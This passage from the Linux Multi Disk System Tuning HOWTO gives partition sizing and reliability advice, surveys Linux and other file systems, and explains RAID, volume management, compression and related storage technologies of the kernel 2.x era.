Also remember to take into account the type of programs you use. Some programs that have large working sets, such as image processing software have huge data structures loaded in RAM rather than working explicitly on disk files. Data and computing intensive programs like this will cause excessive swapping if you have less RAM than the requirements.

Other types of programs can lock their pages into RAM. This can be for security reasons, preventing copies of data reaching a swap device or for performance reasons such as in a real time module. Either way, locking pages reduces the remaining amount of swappable memory and can cause the system to swap earlier then otherwise expected.

In man 8 mkswap it is explained that each swap partition can be a maximum of just under 128 MB in size for 32-bit machines and just under 256 MB for 64-bit machines.

This however changed with kernel 2.2.0 after which the limit is 2 GB. The man page has been updated to reflect this change.

Reliability

Medium. When it fails you know it pretty quickly and failure will cost you some lost work. You save often, don't you?

Note 1

Linux offers the possibility of interleaved swapping across multiple devices, a feature that can gain you much. Check out "man 8 swapon" for more details. However, software raiding swap across multiple devices adds more overheads than you gain.

Thus the /etc/fstab file might look like this:

/dev/sda1       swap            swap    pri=1           0       0
/dev/sdc1       swap            swap    pri=1           0       0
Remember that the fstab file is very sensitive to the formatting used, read the man page carefully and do not just cut and paste the lines above.

Note 2

Some people use a RAM disk for swapping or some other file systems. However, unless you have some very unusual requirements or setups you are unlikely to gain much from this as this cuts into the memory available for caching and buffering.

Note 2b

There is once exception: on a number of badly designed motherboards the on board cache memory is not able to cache all the RAM that can be addressed. Many older motherboards could accept 128 MB RAM but only cache the lower 64 MB. In such cases it would improve the performance if you used the upper (uncached) 64 MB RAM for RAMdisk based swap or other temporary storage.

Temporary Storage (/tmp and /var/tmp)

Speed

Very high. On a separate disk/partition this will reduce fragmentation generally, though ext2fs handles fragmentation rather well.

Size

Hard to tell, small systems are easy to run with just a few MB but these are notorious hiding places for stashing files away from prying eyes and quota enforcement and can grow without control on larger machines. Suggested: small home machine: 8 MB, large home machine: 32 MB, small server: 128 MB, and large machines up to 500 MB (The machine used by the author at work has 1100 users and a 300 MB /tmp directory). Keep an eye on these directories, not only for hidden files but also for old files. Also be prepared that these partitions might be the first reason you might have to resize your partitions.

Reliability

Low. Often programs will warn or fail gracefully when these areas fail or are filled up. Random file errors will of course be more serious, no matter what file area this is.

Files

Mostly short files but there can be a huge number of them. Normally programs delete their old tmp files but if somehow an interruption occurs they could survive. Many distributions have a policy regarding cleaning out tmp files at boot time, you might want to check out what your setup is.

Note1

In FSSTND there is a note about putting /tmp on RAM disk. This, however, is not recommended for the same reasons as stated for swap. Also, as noted earlier, do not use flash RAM drives for these directories. One should also keep in mind that some systems are set to automatically clean tmp areas on rebooting.

Note2

Older systems had a /usr/tmp but this is no longer recommended and for historical reasons a symbolic link now makes it point to one of the other tmp areas.

(* That was 50 lines, I am home and dry! *)

Spool Areas (/var/spool/news and /var/spool/mail)

Speed

High, especially on large news servers. News transfer and expiring are disk intensive and will benefit from fast drives. Print spools: low. Consider RAID0 for news.

Size

For news/mail servers: whatever you can afford. For single user systems a few MB will be sufficient if you read continuously. Joining a list server and taking a holiday is, on the other hand, not a good idea. (Again the machine I use at work has 100 MB reserved for the entire /var/spool)

Reliability

Mail: very high, news: medium, print spool: low. If your mail is very important (isn't it always?) consider RAID for reliability.

Files

Usually a huge number of files that are around a few KB in size. Files in the print spool can on the other hand be few but quite sizable.

Note

Some of the news documentation suggests putting all the .overview files on a drive separate from the news files, check out all news FAQs for more information. Typical size is about 3-10 percent of total news spool size.

Home Directories (/home)

Speed

Medium. Although many programs use /tmp for temporary storage, others such as some news readers frequently update files in the home directory which can be noticeable on large multiuser systems. For small systems this is not a critical issue.

Size

Tricky! On some systems people pay for storage so this is usually then a question of finance. Large systems such as Nyx.net (which is a free Internet service with mail, news and WWW services) run successfully with a suggested limit of 100 KB per user and 300 KB as enforced maximum. Commercial ISPs offer typically about 5 MB in their standard subscription packages.

If however you are writing books or are doing design work the requirements balloon quickly.

Reliability

Variable. Losing /home on a single user machine is annoying but when 2000 users call you to tell you their home directories are gone it is more than just annoying. For some their livelihood relies on what is here. You do regular backups of course?

Files

Equally tricky. The minimum setup for a single user tends to be a dozen files, 0.5 - 5 KB in size. Project related files can be huge though.

Note1

You might consider RAID for either speed or reliability. If you want extremely high speed and reliability you might be looking at other operating system and hardware platforms anyway. (Fault tolerance etc.)

Note2

Web browsers often use a local cache to speed up browsing and this cache can take up a substantial amount of space and cause much disk activity. There are many ways of avoiding this kind of performance hits, for more information see the sections on Home Directories and WWW.

Note3

Users often tend to use up all available space on the /home partition. The Linux Quota subsystem is capable of limiting the number of blocks and the number of inode a single user ID can allocate on a per-filesystem basis. See the Linux Quota mini-HOWTO by Albert M.C. Tam bertie (at) scn.org for details on setup.

Main Binaries ( /usr/bin and /usr/local/bin)

Speed

Low. Often data is bigger than the programs which are demand loaded anyway so this is not speed critical. Witness the successes of live file systems on CD ROM.

Size

The sky is the limit but 200 MB should give you most of what you want for a comprehensive system. A big system, for software development or a multi purpose server should perhaps reserve 500 MB both for installation and for growth.

Reliability

Low. This is usually mounted under root where all the essentials are collected. Nevertheless losing all the binaries is a pain...

Files

Variable but usually of the order of 10 - 100 KB.

Libraries ( /usr/lib and /usr/local/lib)

Speed

Medium. These are large chunks of data loaded often, ranging from object files to fonts, all susceptible to bloating. Often these are also loaded in their entirety and speed is of some use here.

Size

Variable. This is for instance where word processors store their immense font files. The few that have given me feedback on this report about 70 MB in their various lib directories. A rather complete Debian 1.2 installation can take as much as 250 MB which can be taken as an realistic upper limit. The following ones are some of the largest disk space consumers: GCC, Emacs, TeX/LaTeX, X11 and perl.

Reliability

Low. See point Main binaries.

Files

Usually large with many of the order of 1 MB in size.

Note

For historical reasons some programs keep executables in the lib areas. One example is GCC which have some huge binaries in the /usr/lib/gcc/lib hierarchy.

Boot

Speed

Quite low: after all booting doesn't happen that often and loading the kernel is just a tiny fraction of the time it takes to get the system up and running.

Size

Quite small, a complete image with some extras fit on a single floppy so 5 MB should be plenty.

Reliability

High. See section below on Root.

Note 1

The most important part about the Boot partition is that on many systems it must reside below cylinder 1023. This is a BIOS limitation that Linux cannot get around.

Note 1a

The above is not necessarily true for recent IDE systems and not for any SCSI disks. For more information check the latest Large Disk HOWTO.

Note 2

Recently a new boot loader has been written that overcomes the 1023 sector limit. For more information check out this article on nuni.

Root

Speed

Quite low: only the bare minimum is here, much of which is only run at startup time.

Size

Relatively small. However it is a good idea to keep some essential rescue files and utilities on the root partition and some keep several kernel versions. Feedback suggests about 20 MB would be sufficient.

Reliability

High. A failure here will possibly cause a fair bit of grief and you might end up spending some time rescuing your boot partition. With some practice you can of course do this in an hour or so, but I would think if you have some practice doing this you are also doing something wrong.

Naturally you do have a rescue disk? Of course this is updated since you did your initial installation? There are many ready made rescue disks as well as rescue disk creation tools you might find valuable. Presumably investing some time in this saves you from becoming a root rescue expert.

Note 1

If you have plenty of drives you might consider putting a spare emergency boot partition on a separate physical drive. It will cost you a little bit of space but if your setup is huge the time saved, should something fail, will be well worth the extra space.

Note 2

For simplicity and also in case of emergencies it is not advisable to put the root partition on a RAID level 0 system. Also if you use RAID for your boot partition you have to remember to have the md option turned on for your emergency kernel.

Note 3

For simplicity it is quite common to keep Boot and Root on the same partition. If you do that, then in order to boot from LILO it is important that the essential boot files reside wholly within cylinder 1023. This includes the kernel as well as files found in /boot.

DOS etc.

At the danger of sounding heretical I have included this little section about something many reading this document have strong feelings about. Unfortunately many hardware items come with setup and maintenance tools based around those systems, so here goes.

Speed

Very low. The systems in question are not famed for speed so there is little point in using prime quality drives. Multitasking or multi-threading are not available so the command queueing facility found in SCSI drives will not be taken advantage of. If you have an old IDE drive it should be good enough. The exception is to some degree Win95 and more notably NT which have multi-threading support which should theoretically be able to take advantage of the more advanced features offered by SCSI devices.

Size

The company behind these operating systems is not famed for writing tight code so you have to be prepared to spend a few tens of MB depending on what version you install of the OS or Windows. With an old version of DOS or Windows you might fit it all in on 50 MB.

Reliability

Ha-ha. As the chain is no stronger than the weakest link you can use any old drive. Since the OS is more likely to scramble itself than the drive is likely to self destruct you will soon learn the importance of keeping backups here.

Put another way: "Your mission, should you choose to accept it, is to keep this partition working. The warranty will self destruct in 10 seconds..."

Recently I was asked to justify my claims here. First of all I am not calling DOS and Windows sorry excuses for operating systems. Secondly there are various legal issues to be taken into account. Saying there is a connection between the last two sentences are merely the ravings of the paranoid. Surely. Instead I shall offer the esteemed reader a few key words: DOS 4.0, DOS 6.x and various drive compression tools that shall remain nameless.

4.2 Explanation of Terms

Naturally the faster the better but often the happy installer of Linux has several disks of varying speed and reliability so even though this document describes performance as 'fast' and 'slow' it is just a rough guide since no finer granularity is feasible. Even so there are a few details that should be kept in mind:

Speed

This is really a rather woolly mix of several terms: CPU load, transfer setup overhead, disk seek time and transfer rate. It is in the very nature of tuning that there is no fixed optimum, and in most cases price is the dictating factor. CPU load is only significant for IDE systems where the CPU does the transfer itself but is generally low for SCSI, see SCSI documentation for actual numbers. Disk seek time is also small, usually in the millisecond range. This however is not a problem if you use command queueing on SCSI where you then overlap commands keeping the bus busy all the time. News spools are a special case consisting of a huge number of normally small files so in this case seek time can become more significant.

There are two main parameters that are of interest here:

Seek

is usually specified in the average time take for the read/write head to seek from one track to another. This parameter is important when dealing with a large number of small files such as found in spool files. There is also the extra seek delay before the desired sector rotates into position under the head. This delay is dependent on the angular velocity of the drive which is why this parameter quite often is quoted for a drive. Common values are 4500, 5400 and 7200 RPM (rotations per minute). Higher RPM reduces the seek time but at a substantial cost. Also drives working at 7200 RPM have been known to be noisy and to generate a lot of heat, a factor that should be kept in mind if you are building a large array or "disk farm". Very recently drives working at 10000 RPM has entered the market and here the cooling requirements are even stricter and minimum figures for air flow are given.

Transfer

is usually specified in megabytes per second. This parameter is important when handling large files that have to be transferred. Library files, dictionaries and image files are examples of this. Drives featuring a high rotation speed also normally have fast transfers as transfer speed is proportional to angular velocity for the same sector density.

It is therefore important to read the specifications for the drives very carefully, and note that the maximum transfer speed quite often is quoted for transfers out of the on board cache (burst speed) and not directly from the platter (sustained speed). See also section on Power and Heating.

Reliability

Naturally no-one would want low reliability disks but one might be better off regarding old disks as unreliable. Also for RAID purposes (See the relevant information) it is suggested to use a mixed set of disks so that simultaneous disk crashes become less likely.

So far I have had only one report of total file system failure but here unstable hardware seemed to be the cause of the problems.

Disks are cheap these days yet people still underestimate the value of the contents of the drives. If you need higher reliability make sure you replace old drives and keep spares. It is not unusual that drives can work more or less continuous for years and years but what often kills a drive in the end is power cycling.

Files

The average file size is important in order to decide the most suitable drive parameters. A large number of small files makes the average seek time important whereas for big files the transfer speed is more important. The command queueing in SCSI devices is very handy for handling large numbers of small files, but for transfer EIDE is not too far behind SCSI and normally much cheaper than SCSI.


HOWTO: Multi Disk System Tuning: File Systems

 Next Previous Contents

5. File Systems

Over time the requirements for file systems have increased and the demands for large structures, large files, long file names and more has prompted ever more advanced file systems, the system that accesses and organises the data on mass storage. Today there is a large number of file systems to choose from and this section will describe these in detail.

The emphasis is on Linux but with more input I will be happy to add information for a wider audience.

5.1 General Purpose File Systems

Most operating systems usually have a general purpose file system for every day use for most kinds of files, reflecting available features in the OS such as permission flags, protection and recovery.

minix

This was the original fs for Linux, back in the days Linux was hosted on minix machines. It is simple but limited in features and hardly ever used these days other than in some rescue disks as it is rather compact.

xiafs and extfs

These are also old and have fallen in disuse and are no longer recommended.

ext2fs

This is the established standard for general purpose in the Linux world. It is fast, efficient and mature and is under continuous development and features such as ACL and transparent compression are on the horizon.

For more information check the ext2fs home page.

ext3fs

This is the name for the upcoming successor to ext2fs due to enter stable kernel in the near future. Many features are added to ext2fs but to avoid confusion over the name after such a radical upgrade the name will be changed too. You may have heard of it already but source code is now in beta release .

Patches are available at Linux.org.

ufs

This is the fs used by BSD and variants thereof. It is mature but also developed for older types of disk drives where geometries were known. The fs uses a number of tricks to optimise performance but as disk geometries are translated in a number of ways the net effect is no longer so optimal.

efs

The Extent File System (efs) is Silicon Graphics' early file system widely used on IRIX before version 6.0 after which xfs has taken over. While migration to xfs is encouraged efs is still supported and much used on CDs.

There is a Linux driver available in early beta stage, available at Linux extent file system home page.

XFS

Silicon Graphics Inc (sgi) has started porting its mainframe grade file system to Linux. Source is not yet available as they are busily cleaning out legal encumbrance but once that is done they will provide the source code under GPL.

More information is already available on the XFS project page at SGI.

reiserfs

As of July, 23th 1997 Hans Reiser reiser (at) RICOCHET.NET has put up the source to his tree based reiserfs on the web. While his filesystem has some very interesting features and is much faster than ext2fs and is in use by a number of people. Hopefully it will be ready for kernel 2.4.0 which might be ready at the end of the year.

enh-fs

The Enhanced File System project is now dead.

Tux2 fs

This is a variation on the ext2fs that adds robustness in case of unexpected interruptions such as power failure. After such an event Tux2 fs will restart with the file system in a consistent, recently recorded state without fsck or other recovery operations. To achieve this Tux2 fs uses a newly designed algorithm called Phase Tree.

More information can be found at the project home page.

5.2 Microsoft File Systems

This company is responsible for a lot, including a number of filesystems that has at the very least caused confusions.

fat

Actually there are 2 fats out there, fat12 and fat16 depending on the partition size used but fortunately the difference is so minor that the whole issue is transparent.

On the plus side these are fast and simple and most OSes understands it and can both read and write this fs. And that is about it.

The minus side is limited safety, severely limited permission flags and atrocious scalability. For instance with fat you cannot have partitions larger than 2 GB.

fat32

After about 10 years Microsoft realised fat was about, well, 10 years behind the times and created this fs which scales reasonably well.

Permission flags are still limited. NT 4.0 cannot read this file system but Linux can.

vfat

At the same time as Microsoft launched fat32 they also added support for long file names, known as vfat.

Linux reads vfat and fat32 partitions by mounting with type vfat.

ntfs

This is the native fs of Win-NT but as complete information is not available there is limited support for other OSes.

5.3 Logging and Journaling File Systems

These take a radically different approach to file updates by logging modifications for files in a log and later at some time checkpointing the logs.

Reading is roughly as fast as traditional file systems that always update the files directly. Writing is much faster as only updates are appended to a log. All this is transparent to the user. It is in reliability and particularly in checking file system integrity that these file systems really shine. Since the data before last checkpointing is known to be good only the log has to be checked, and this is much faster than for traditional file systems.

Note that while logging filesystems keep track of changes made to both data and inodes, journaling filesystems keep track only of inode changes.

Linux has quite a choice in such file systems but none are yet in production quality. Some are also on hold.

  • Adam Richter from Yggdrasil posted some time ago that they have been working on a compressed log file based system but that this project is currently on hold. Nevertheless a non-working version is available on their FTP server. Check out the Yggdrasil ftp server where special patched versions of the kernel can be found.
  • Another project is the Linux log-structured Filesystem Project which sadly also is on hold. Nevertheless this page contains much information on the topic.
  • Then there is the LinLogFS -- A Log-Structured Filesystem For Linux (formerly known as dtfs) which seems to be going strong. Still in alpha but sufficiently complete to make programs run off this file system
  • Finally there is the Journaling Flash File System designed for their embedded diskless systems such as their Linux based web camera.

Note that ext3fs, XFS and reiserfs also have features for logging or journaling.

5.4 Read-only File Systems

Read-only media has not escaped the ever increasing complexities seen in more general file systems so again there is a large choice to choose from with corresponding opportunities for exciting mistakes.

Note that ext2fs works quite well on a CD-ROM and seems to save space while offering the normal file system features such as long file names and permissions that can be retained when copying files across to read-write media. Also having /dev on a CD-ROM is possible.

Most of these are used with the CD-ROM media but also the new DVD can be used and you can even use it through the loopback device on a hard disk file for verifying an image before burning a ROM.

There is a read-only romfs for Linux but as that is not disk related nothing more will be said about it here.

High Sierra

This was one of the earliest standards for CD-ROM formats, supposedly named after the hotel where the final agreement took place.

High Sierra was so limited in features that new extensions simply had to appear and while there has been no end to new formats the original High Sierra remains the common precursor and is therefore still widely supported.

iso9660

The International Standards Organisation made their extensions and formalised the standard into what we know as the iso9660 standard.

The Linux iso9660 file system supports both High Sierra as well as Rock Ridge extensions.

Rock Ridge

Not everyone accepts limits like short filenames and lack of permissions so very soon the Rock Ridge extensions appeared to rectify these shortcomings.

Joliet

Microsoft, not be be outdone in the standards extension game, decided it should extend CD-ROM formats with some internationalisation features and called it Joliet.

Linux supports this standards in kernels 2.0.34 or newer. You need to enable NLS in order to use it.

Trivia

Joliet is a city outside Chicago; best known for being the site of the prison where Jake was locked up in the movie "Blues Brothers." Rock Ridge (the UNIX extensions to ISO 9660) is named after the (fictional) town in the movie "Blazing Saddles."

UDF

With the arrival of DVD with up to about 17 GB of storage capacity the world seemingly needed another format, this time ambitiously named Universal Disk Format (UDF). This is intended to replace iso9660 and will be required for DVD.

Currently this is not in the standard Linux kernel but a project is underway to make a http://trylinux.com/projects/udf/index.html name="UDF driver"> for Linux. Patches and documentation are available.

More information is also available at the Linux and DVDs page.

5.5 Networking File Systems

There is a large number of networking technologies available that lets you distribute disks throughout a local or even global networks. This is somewhat peripheral to the topic of this HOWTO but as it can be used with local disks I will cover this briefly. It would be best if someone (else) took this into a separate HOWTO...

NFS

This is one of the earliest systems that allows mounting a file space on one machine onto another. There are a number of problems with NFS ranging from performance to security but it has nevertheless become established.

AFS

This is a system that allows efficient sharing of files across large networks. Starting out as an academic project it is now sold by Transarc whose home page gives you more details.

Derek Atkins, of MIT, ported AFS to Linux and has also set up the Linux AFS mailing List ( linux-afs@mit.edu) for this which is open to the public. Requests to join the list should go to linux-afs-request@mit.edu and finally bug reports should be directed to linux-afs-bugs@mit.edu.

Important: as AFS uses encryption it is restricted software and cannot easily be exported from the US.

IBM who owns Transarc, has announced the availability of the latest version of client as well as server for Linux.

Arla is a free AFS implementation, check the Arla homepage for more information as well as documentation.

Coda

A networking filesystem similar to AFS is underway and is called Coda. This is designed to be more robust and fault tolerant than AFS, and supports mobile, disconnected operations. Currently it does not scale very well, and does not really have proper administrative tools, as AFS does and ARLA is beginning to.

nbd

The Network Block Device (nbd) is available in Linux kernel 2.2 and later and offers reportedly excellent performance. The interesting thing here is that it can be combined with RAID (see later).

enbd

The http://www.it.uc3m.es/~ptb/nbd name="Enhanced Network Block Device"> (enbd) is a project to enhance the nbd with features such as block journaled multi channel communications, internal failover and automatic balancing between channels and more.

The intended use is for RAID over the net.

GFS

The Global File System is a new file system designed for storage across a wide area network. It is currently in the early stages and more information will come later.

5.6 Special File Systems

In addition to the general file systems there is also a number of more specific ones, usually to provide higher performance or other features, usually with a tradeoff in other respects.

tmpfs and swapfs

For short term fast file storage SunOS offers tmpfs which is about the same as the swapfs on NeXT. This overcomes the inherent slowness in ufs by caching file data and keeping control information in memory. This means that data on such a file system will be lost when rebooting and is therefore mainly suitable for /tmp area but not /var/tmp which is where temporary data that must survive a reboot, is placed.

SunOS offers very limited tuning for tmpfs and the number of files is even limited by total physical memory of the machine.

Linux now features tmpfs since kernel version 2.4 and is enabled by turning on virtual memory file system support (former shm fs). Under certain circumstances tmpfs can lock up the system in early kerbel versions, make sure you use version 2.4.6 or later.

userfs

The user file system (userfs) allows a number of extensions to traditional file system use such as FTP based file system, compression (arcfs) and fast prototyping and many other features. The docfs is based on this filesystem. Check the userfs homepage for more information.

devfs

When disks are added, removed or just fail it is likely that disk device names of the remaining disks will change. For instance if sdb fails then the old sdc becomes sdb, the old sdc becomes sdb and so on. Note that in this case hda, hdb etc will remain unchanged. Likewise if a new drive is added the reverse may happen.

There is no guarantee that SCSI ID 0 becomes sda and that adding disks in increasing ID order will just add a new device name without renaming previous entries, as some SCSI drivers assign from ID 0 and up while others reverse the scanning order. Likewise adding a SCSI host adapter can also cause renaming.

Generally device names are assigned in the order they are found.

The source of the problem lies in the limited number of bits available for major and minor numbering in the device files used to describe the device itself. You an see these in the /dev directory, info on the numbering and allocation can be found in man MAKEDEV. Currently there are 2 solutions to this problem in various stages of development:

scsidev

works by creating a database of drives and where they belong, check man scsifs and the scsidev home page for more information

devfs

is a more long term project aimed at getting around the whole business of device numbering by making the /dev directory a kernel file system in the same way as /proc is. More information will appear as it becomes available.

smugfs

For a number of reasons it is currently difficult to have files bigger than 2 GB. One file system that tries to overcome this limit is smugfs which is very fast but also simple. For instance there are no directories and the block allocation is simple.

It is available as compressed tarred source code and while it worked with kernel version 2.1.85 it is quite possible some work is required to make it fit into newer kernels. Also the low version number (0.0) suggests extra care is required.

5.7 File System Recommendations

There is a jungle of choices but generally it is recommended to use the general file system that comes with your distribution. If you use ufs and have some kind of tmpfs available you should first start off with the general file system to get an idea of the space requirements and if necessary buy more RAM to support the size of tmpfs you need. Otherwise you will end up with mysterious crashes and lost time.

If you use dual boot and need to transfer data between the two OSes one of the simplest ways is to use an appropriately sized partition formatted with fat as most systems can reliably read and write this. Remember the limit of 2 GB for fat partitions.

For more information of file system interconnectivity you can check out the file system page which has been superseded by file system and the article Kragen's Amazing List of Filesystems.

That guide is being superseded by a HOWTO which is underway and a link will be added when it is ready.

To avoid total havoc with device renaming if a drive fails check out the scanning order of your system and try to keep your root system on hda or sda and removable media such as ZIP drives at the end of the scanning order.


HOWTO: Multi Disk System Tuning: Technologies

 Next Previous Contents

6. Technologies

In order to decide how to get the most of your devices you need to know what technologies are available and their implications. As always there can be some tradeoffs with respect to speed, reliability, power, flexibility, ease of use and complexity.

Many of the techniques described below can be stacked in a number of ways to maximise performance and reliability, though at the cost of added complexity.

6.1 RAID

This is a method of increasing reliability, speed or both by using multiple disks in parallel thereby decreasing access time and increasing transfer speed. A checksum or mirroring system can be used to increase reliability. Large servers can take advantage of such a setup but it might be overkill for a single user system unless you already have a large number of disks available. See other documents and FAQs for more information.

For Linux one can set up a RAID system using either software (the md module in the kernel), a Linux compatible controller card (PCI-to-SCSI) or a SCSI-to-SCSI controller. Check the documentation for what controllers can be used. A hardware solution is usually faster, and perhaps also safer, but comes at a significant cost.

A summary of available hardware RAID solutions for Linux is available at Linux Consulting.

SCSI-to-SCSI

SCSI-to-SCSI controllers are usually implemented as complete cabinets with drives and a controller that connects to the computer with a second SCSI bus. This makes the entire cabinet of drives look like a single large, fast SCSI drive and requires no special RAID driver. The disadvantage is that the SCSI bus connecting the cabinet to the computer becomes a bottleneck.

A significant disadvantage for people with large disk farms is that there is a limit to how many SCSI entries there can be in the /dev directory. In these cases using SCSI-to-SCSI will conserve entries.

Usually they are configured via the front panel or with a terminal connected to their on-board serial interface.

Some manufacturers of such systems are CMD and Syred whose web pages describe several systems.

PCI-to-SCSI

PCI-to-SCSI controllers are, as the name suggests, connected to the high speed PCI bus and is therefore not suffering from the same bottleneck as the SCSI-to-SCSI controllers. These controllers require special drivers but you also get the means of controlling the RAID configuration over the network which simplifies management.

Currently only a few families of PCI-to-SCSI host adapters are supported under Linux.

DPT

The oldest and most mature is a range of controllers from DPT including SmartCache I/III/IV and SmartRAID I/III/IV controller families. These controllers are supported by the EATA-DMA driver in the standard kernel. This company also has an informative home page which also describes various general aspects of RAID and SCSI in addition to the product related information.

More information from the author of the DPT controller drivers (EATA* drivers) can be found at his pages on SCSI and DPT.

These are not the fastest but have a good track record of proven reliability.

Note that the maintenance tools for DPT controllers currently run under DOS/Win only so you will need a small DOS/Win partition for some of the software. This also means you have to boot the system into Windows in order to maintain your RAID system.

ICP-Vortex

A very recent addition is a range of controllers from ICP-Vortex featuring up to 5 independent channels and very fast hardware based on the i960 chip. The Linux driver was written by the company itself which shows they support Linux.

As ICP-Vortex supplies the maintenance software for Linux it is not necessary with a reboot to other operating systems for the setup and maintenance of your RAID system. This saves you also extra downtime.

Mylex DAC-960

This is one of the latest entries which is out in early beta. More information as well as drivers are available at Dandelion Digital's Linux DAC960 Page.

Compaq Smart-2 PCI Disk Array Controllers

Another very recent entry and currently in beta release is the Smart-2 driver.

IBM ServeRAID

IBM has released their driver as GPL.

Software RAID

A number of operating systems offer software RAID using ordinary disks and controllers. Cost is low and performance for raw disk IO can be very high. As this can be very CPU intensive it increases the load noticeably so if the machine is CPU bound in performance rather then IO bound you might be better off with a hardware PCI-to-RAID controller.

Real cost, performance and especially reliability of software vs. hardware RAID is a very controversial topic. Reliability on Linux systems have been very good so far.

The current software RAID project on Linux is the md system (multiple devices) which offers much more than RAID so it is described in more details later.

RAID Levels

RAID comes in many levels and flavours which I will give a brief overview of this here. Much has been written about it and the interested reader is recommended to read more about this in the Software RAID HOWTO.

  • RAID 0 is not redundant at all but offers the best throughput of all levels here. Data is striped across a number of drives so read and write operations take place in parallel across all drives. On the other hand if a single drive fail then everything is lost. Did I mention backups?
  • RAID 1 is the most primitive method of obtaining redundancy by duplicating data across all drives. Naturally this is massively wasteful but you get one substantial advantage which is fast access. The drive that access the data first wins. Transfers are not any faster than for a single drive, even though you might get some faster read transfers by using one track reading per drive. Also if you have only 2 drives this is the only method of achieving redundancy.
  • RAID 2 and 4 are not so common and are not covered here.
  • RAID 3 uses a number of disks (at least 2) to store data in a striped RAID 0 fashion. It also uses an additional redundancy disk to store the XOR sum of the data from the data disks. Should the redundancy disk fail, the system can continue to operate as if nothing happened. Should any single data disk fail the system can compute the data on this disk from the information on the redundancy disk and all remaining disks. Any double fault will bring the whole RAID set off-line. RAID 3 makes sense only with at least 2 data disks (3 disks including the redundancy disk). Theoretically there is no limit for the number of disks in the set, but the probability of a fault increases with the number of disks in the RAID set. Usually the upper limit is 5 to 7 disks in a single RAID set. Since RAID 3 stores all redundancy information on a dedicated disk and since this information has to be updated whenever a write to any data disk occurs, the overall write speed of a RAID 3 set is limited by the write speed of the redundancy disk. This, too, is a limit for the number of disks in a RAID set. The overall read speed of a RAID 3 set with all data disks up and running is that of a RAID 0 set with that number of data disks. If the set has to reconstruct data stored on a failed disk from redundant information, the performance will be severely limited: All disks in the set have to be read and XOR-ed to compute the missing information.
  • RAID 5 is just like RAID 3, but the redundancy information is spread on all disks of the RAID set. This improves write performance, because load is distributed more evenly between all available disks.

There are also hybrids available based on RAID 0 or 1 and one other level. Many combinations are possible but I have only seen a few referred to. These are more complex than the above mentioned RAID levels.

RAID 0/1 combines striping with duplication which gives very high transfers combined with fast seeks as well as redundancy. The disadvantage is high disk consumption as well as the above mentioned complexity.

RAID 1/5 combines the speed and redundancy benefits of RAID5 with the fast seek of RAID1. Redundancy is improved compared to RAID 0/1 but disk consumption is still substantial. Implementing such a system would involve typically more than 6 drives, perhaps even several controllers or SCSI channels.

6.2 Volume Management

Volume management is a way of overcoming the constraints of fixed sized partitions and disks while still having a control of where various parts of file space resides. With such a system you can add new disks to your system and add space from this drive to parts of the file space where needed, as well as migrating data out from a disk developing faults to other drives before catastrophic failure occurs.

The system developed by Veritas has become the defacto standard for logical volume management.

Volume management is for the time being an area where Linux is lacking.

One is the virtual partition system project VPS that will reimplement many of the volume management functions found in IBM's AIX system. Unfortunately this project is currently on hold.

Another project is the Logical Volume Manager project that is similar to a project by HP.

6.3 Linux md Kernel Patch

The Linux Multi Disk (md) provides a number of block level features in various stages of development.

RAID 0 (striping) and concatenation are very solid and in production quality and also RAID 4 and 5 are quite mature.

It is also possible to stack some levels, for instance mirroring (RAID 1) two pairs of drives, each pair set up as striped disks (RAID 0), which offers the speed of RAID 0 combined with the reliability of RAID 1.

In addition to RAID this system offers (in alpha stage) block level volume management and soon also translucent file space. Since this is done on the block level it can be used in combination with any file system, even for fat using Wine.

Think very carefully what drives you combine so you can operate all drives in parallel, which gives you better performance and less wear. Read more about this in the documentation that comes with md.

Unfortunately The Linux software RAID has split into two trees, the old stable versions 0.35 and 0.42 which are documented in the official Software-RAID HOWTO and the newer less stable 0.90 series which is documented in the unofficial Software RAID HOWTO which is a work in progress.

A patch for online growth of ext2fs is available in early stages and related work is taking place at the ext2fs resize project at Sourceforge.

Hint: if you cannot get it to work properly you have forgotten to set the persistent-block flag. Your best documentation is currently the source code.

6.4 Compression

Disk compression versus file compression is a hotly debated topic especially regarding the added danger of file corruption. Nevertheless there are several options available for the adventurous administrators. These take on many forms, from kernel modules and patches to extra libraries but note that most suffer various forms of limitations such as being read-only. As development takes place at neck breaking speed the specs have undoubtedly changed by the time you read this. As always: check the latest updates yourself. Here only a few references are given.

  • DouBle features file compression with some limitations.
  • Zlibc adds transparent on-the-fly decompression of files as they load.
  • there are many modules available for reading compressed files or partitions that are native to various other operating systems though currently most of these are read-only.
  • dmsdos (currently in version 0.9.2.0) offer many of the compression options available for DOS and Windows. It is not yet complete but work is ongoing and new features added regularly.
  • e2compr is a package that extends ext2fs with compression capabilities. It is still under testing and will therefore mainly be of interest for kernel hackers but should soon gain stability for wider use. Check the http://e2compr.memalpha.cx/e2compr/ name="e2compr homepage"> for more information. I have reports of speed and good stability which is why it is mentioned here.

6.5 ACL

Access Control List (ACL) offers finer control over file access on a user by user basis, rather than the traditional owner, group and others, as seen in directory listings (drwxr-xr-x). This is currently not available in Linux but is expected in kernel 2.3 as hooks are already in place in ext2fs.

6.6 cachefs

This uses part of a hard disk to cache slower media such as CD-ROM. It is available under SunOS but not yet for Linux.

6.7 Translucent or Inheriting File Systems

This is a copy-on-write system where writes go to a different system than the original source while making it look like an ordinary file space. Thus the file space inherits the original data and the translucent write back buffer can be private to each user.

There is a number of applications:

  • updating a live file system on CD-ROM, making it flexible, fast while also conserving space,
  • original skeleton files for each new user, saving space since the original data is kept in a single space and shared out,
  • parallel project development prototyping where every user can seemingly modify the system globally while not affecting other users.

SunOS offers this feature and this is under development for Linux. There was an old project called the Inheriting File Systems (ifs) but this project has stopped. One current project is part of the md system and offers block level translucence so it can be applied to any file system.

Sun has an informative page on translucent file system.

It should be noted that Clearcase (now owned by Rational) pioneered and popularized translucent filesystems for software configuration management by writing their own UNIX filesystem.

6.8 Physical Track Positioning

This trick used to be very important when drives were slow and small, and some file systems used to take the varying characteristics into account when placing files. Although higher overall speed, on board drive and controller caches and intelligence has reduced the effect of this.

Nevertheless there is still a little to be gained even today. As we know, "world dominance" is soon within reach but to achieve this "fast" we need to employ all the tricks we can use .

To understand the strategy we need to recall this near ancient piece of knowledge and the properties of the various track locations. This is based on the fact that transfer speeds generally increase for tracks further away from the spindle, as well as the fact that it is faster to seek to or from the central tracks than to or from the inner or outer tracks.

Most drives use disks running at constant angular velocity but use (fairly) constant data density across all tracks. This means that you will get much higher transfer rates on the outer tracks than on the inner tracks; a characteristics which fits the requirements for large libraries well.

Newer disks use a logical geometry mapping which differs from the actual physical mapping which is transparently mapped by the drive itself. This makes the estimation of the "middle" tracks a little harder.

